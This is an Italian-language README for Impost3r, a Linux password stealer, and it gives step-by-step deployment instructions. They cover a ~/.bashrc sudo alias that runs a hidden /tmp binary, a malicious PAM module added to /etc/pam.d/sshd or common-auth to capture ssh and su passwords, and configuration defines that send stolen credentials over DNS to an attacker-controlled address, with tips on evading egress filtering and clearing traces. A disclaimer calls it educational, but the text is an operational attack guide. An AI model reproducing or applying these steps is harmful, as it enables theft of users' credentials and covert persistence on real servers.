
👻Impost3r -- Un ladro di password per Linux

Impost3r è uno strumento scritto in C per rubare varie password su Linux (ssh, su, sudo).
Gli utenti possono utilizzare questo programma per creare un watering hole e rubare le password degli utenti legittimi.
Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e all'insegnamento. L'utente si assume ogni responsabilità legale e correlata derivante dall'uso di questo strumento! L'autore non si assume alcuna responsabilità legale o correlata!
Impost3r può essere utilizzato per rubare le password di servizi come sudo, su e ssh. Questi tre servizi possono essere suddivisi in due categorie: sudo e ssh/su. Di seguito sono discussi due casi.
Richiede solo i permessi di un utente normale, non necessariamente root, ma può rubare solo la password dell'utente corrente, non quella di altri utenti.
Innanzitutto, supponiamo che l'attaccante abbia il controllo di un server con permessi di utente normale.
Verifica se esiste il file .bash_profile nella home directory dell'utente. Se .bash_profile esiste: controlla se carica esplicitamente .bashrc. Se lo fa, salta questo passaggio e i due successivi, prosegui con le operazioni successive. Se non lo carica esplicitamente, salta i due passaggi successivi e tutte le operazioni seguenti relative a .bashrc devono essere eseguite su .bash_profile! Se .bash_profile non esiste: passa al passaggio successivo.
Verifica se esiste il file .bash_login nella home directory dell'utente. Se .bash_login esiste: controlla se carica esplicitamente .bashrc. Se lo fa, salta questo passaggio e quello successivo, prosegui con le operazioni successive. Se non lo carica esplicitamente, salta il passaggio successivo e tutte le operazioni seguenti relative a .bashrc devono essere eseguite su .bash_login! Se .bash_login non esiste: passa al passaggio successivo.
Verifica se esiste il file .profile nella home directory dell'utente. Se .profile esiste: controlla se carica esplicitamente .bashrc (di solito lo fa). Se lo fa, salta questo passaggio, prosegui con le operazioni successive. Se non lo carica esplicitamente, tutte le operazioni seguenti relative a .bashrc devono essere eseguite su .profile! Se neppure .profile esiste, in linea di principio Impost3r non può essere utilizzato. Puoi tuttavia decidere di creare un file .bash_profile o .profile e inserire codice simile al seguente per caricare .bashrc:
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
Copia il file .bashrc dell'utente: cp ~/.bashrc /tmp/ e posiziona questa copia in un percorso definito dall'attaccante (nell'esempio, nella directory /tmp/, l'attaccante può modificare).
Modifica il file .bashrc (~/.bashrc) nella home directory dell'utente aggiungendo la seguente riga alla fine (il percorso /tmp/.impost3r deve corrispondere al valore di FILENAME definito successivamente):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
Dopo l'aggiunta, salva il file ed esegui source ~/.bashrc.
Successivamente, l'attaccante deve modificare il codice sorgente di Impost3r /sudo/main.h:
/*
Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\ Imposta la posizione di Impost3r sul server di destinazione
# define BACKUP_ORI_FILENAME ".bashrc" \\ Indica se il file di configurazione utente di backup è .bashrc, .bash_profile, .profile o .bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\ Indica la posizione del file di configurazione utente di backup sul server di destinazione
# define SAVE_OR_SEND 0 \\ Imposta se il risultato deve essere salvato sulla macchina di destinazione o inviato al server controllato dall'attaccante (invia=0, salva=1, default: invia)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\ Nota: se non vuoi acquistare un dominio per ricevere i messaggi da Impost3r e il server di destinazione non blocca le connessioni UDP dirette verso la porta 53 del tuo server DNS, lascia il valore predefinito;
\\ Tuttavia, se il server di destinazione limita rigorosamente le richieste DNS in uscita, imposta YOUR_DOMAIN con il dominio acquistato, ad esempio ".example.com", configura il record NS di questo dominio in modo che punti al tuo server DNS, esegui Fdns su questo server e imposta REMOTE_ADDRESS al DNS predefinito del server di destinazione, REMOTE_PORT alla porta del servizio DNS su tale indirizzo (di solito 53)
# define MAX_RESEND 30 \\ Imposta il numero massimo di tentativi di reinvio della password dopo il furto al server attaccante
# define RESEND_INTERVAL 5 \\ Imposta l'intervallo tra ogni invio della password
# define REMOTE_ADDRESS "192.168.0.12" \\ Imposta l'indirizzo remoto per l'invio della password
# define REMOTE_PORT 53 \\ Imposta la porta remota per l'invio della password
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\ Imposta il percorso del file dei risultati, quando SAVE_OR_SEND è impostato a 1
Dopo la modifica, salva ed esegui make nella directory corrente.
Nella directory corrente si ottiene il file compilato .impost3r.
Carica il file .impost3r nella cartella /tmp/ del server di destinazione (solo esempio, può essere modificato, purché corrisponda alla definizione nel codice sorgente).
L'attaccante avvia il programma server DNS sulla propria macchina e attende che un utente legittimo esegua sudo per ottenere la password.
Nel caso del furto della password di sudo, Impost3r cancella automaticamente le tracce dopo il successo; non è necessario che l'attaccante lo faccia manualmente.
Impost3r rileva automaticamente se la password inserita è corretta; termina il flusso e cancella le tracce solo dopo che l'utente ha inserito la password corretta.
Prima di usare Impost3r, verifica con sudo -v se l'utente corrente appartiene al gruppo sudoer. In caso contrario, non utilizzare Impost3r.
Il metodo per rubare le password di ssh/su è diverso dal furto di sudo. Richiede privilegi di root e può rubare le password di qualsiasi utente.
L'esempio seguente è per Ubuntu; CentOS è simile, ma i file e i metodi di modifica potrebbero differire.
Supponiamo che l'attaccante abbia il controllo di un server.
Dopo aver ottenuto i privilegi di root (o l'amministratore ha avviato il servizio con root).
Modifica il file sorgente di Impost3r /ssh_su/main.h:
/*
Custom setting
*/
# define SSH_OR_BOTH 0 \\ Imposta la modalità di furto: 0 solo ssh, 1 sia ssh che su (default: 0) (la differenza sarà spiegata in seguito)
# define SAVE_OR_SEND 0 \\ Imposta se il risultato deve essere salvato sulla macchina di destinazione o inviato al server controllato dall'attaccante (invia=0, salva=1, default: invia)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\ Nota: se non vuoi acquistare un dominio per ricevere i messaggi da Impost3r e il server di destinazione non blocca le connessioni UDP dirette verso la porta 53 del tuo server DNS, lascia il valore predefinito;
\\ Tuttavia, se il server di destinazione limita rigorosamente le richieste DNS in uscita, imposta YOUR_DOMAIN con il dominio acquistato, ad esempio ".example.com", configura il record NS di questo dominio in modo che punti al tuo server DNS, esegui Fdns su questo server e imposta REMOTE_ADDRESS al DNS predefinito del server di destinazione, REMOTE_PORT alla porta del servizio DNS su tale indirizzo (di solito 53)
# define MAX_RESEND 30 \\ Imposta il numero massimo di tentativi di reinvio della password dopo il furto al server attaccante (valido solo quando SSH_OR_BOTH è 0)
# define RESEND_INTERVAL 5 \\ Imposta l'intervallo tra ogni invio della password (valido solo quando SSH_OR_BOTH è 0)
# define REMOTE_ADDRESS "192.168.0.12" \\ Imposta l'indirizzo remoto per l'invio della password
# define REMOTE_PORT 53 \\ Imposta la porta remota per l'invio della password
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\ Imposta il percorso del file dei risultati, quando SAVE_OR_SEND è impostato a 1
Dopo la modifica, salva ed esegui make nella directory corrente.
Ottieni il file compilato impost3r.so.
Carica il file compilato impost3r.so nella cartella /lib/x86_64-linux-gnu/security della macchina di destinazione (il nome della cartella può variare a seconda della macchina; posizionalo di conseguenza).
Entra nella directory /etc/pam.d. Qui ci sono due casi: se la modalità scelta è solo furto della password ssh, modifica il file vi sshd aggiungendo alla fine le seguenti righe (nota: i file di sistema basati su Linux diversi da Ubuntu possono differire significativamente; si consiglia di comprendere le regole prima di aggiungere nella posizione appropriata):
auth optional impost3r.so
account optional impost3r.so
Salva ed esci, quindi riavvia il servizio ssh con service sshd restart.
Se invece si sceglie di rubare sia la password ssh che su, modifica il file vi common-auth aggiungendo le stesse righe, salva ed esci, quindi riavvia il servizio ssh.
L'attaccante avvia il programma server DNS sulla propria macchina e attende che un utente legittimo esegua il login tramite ssh sulla macchina di destinazione o esegua su per cambiare utente, ottenendo così la password.
Nel caso del furto delle password di ssh/su, a causa dei permessi, Impost3r non può cancellare le tracce; deve farlo l'attaccante.
Nota: se si imposta il furto solo della password ssh, è garantito che l'attaccante riceva il risultato al 100%. Se si impostano entrambe, non è garantito (solo nel caso di invio tramite DNS; il salvataggio locale non è influenzato).
Non è consigliato rubare la password su; poiché la password ssh dell'utente è la stessa della password su, se possibile, ruba solo quella ssh.
Per impostazione predefinita, non vengono rubate password vuote. Verifica se l'utente ha una password vuota (controlla se nel file di configurazione sshd è presente PermitEmptyPasswords yes; se è vuota, non c'è nulla da rubare).
Il programma server DNS che utilizzo è Fdns, con alcune modifiche. Il codice sorgente modificato si trova nella cartella Fdns. Compilalo con il comando gcc -o dns main.c util.c (assicurati di modificare la porta di ascolto in main.c prima).
Prima di compilare Fdns, verifica il valore di YOUR_DOMAIN nel file util.h. Assicurati che sia lo stesso valore di YOUR_DOMAIN utilizzato durante la compilazione di Impost3r sul server di destinazione; altrimenti il furto potrebbe fallire.
Questo programma è stato sviluppato per scopi didattici nel tempo libero; potrebbero esserci bug. Per favore, sii comprensivo e segnala eventuali problemi.